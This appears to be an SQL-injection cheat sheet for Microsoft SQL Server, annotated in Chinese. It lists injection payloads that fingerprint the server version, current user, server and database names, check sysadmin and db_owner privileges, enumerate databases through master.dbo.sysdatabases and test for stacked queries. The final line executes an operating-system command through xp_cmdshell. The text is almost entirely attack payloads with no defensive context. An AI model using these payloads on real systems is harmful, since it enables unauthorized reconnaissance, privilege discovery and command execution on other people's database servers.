select * from T_user where exists (select * from sysobjects) ;//判断是否存在sysobjects表,默认的 select * from T_user where exists (select * from T_user);//判断是否存在XX表 select * from T_user where 1=(@@version);//数据库版本号 select * from T_user where 1=(user_name());//获取当前用户 select * from T_user where 1=(@@servername);//获取当前服务器名称 select * from T_user where 1=user;//获取当前用户名 select * from T_user where 1=(@@spid);//当前mssql的进程id select * from T_user where 1=(db_name());//获取当前数据库名称 select * from T_user where 1=(is_srvrolemember('sysadmin'));//是否是sysadmin select * from T_user where 1=(is_member('db_owner'));//是否是数据库拥有者 select * from T_user where 1=(has_dbaccess('master'));//是否拥有数据库读写权限 select * from T_user where 1=(select filename from master.dbo.sysdatabases where dbid=5 ); //查询服务器上的所有数据库,根据数据库的dbid select * from master.dbo.sysdatabases;//查询主库 select * from T_user where 1=1;declare @d int ;//是否支持多行查询 select * from T_user where 1=1;execute master.dbo.xp_cmdshell 'tree C:\';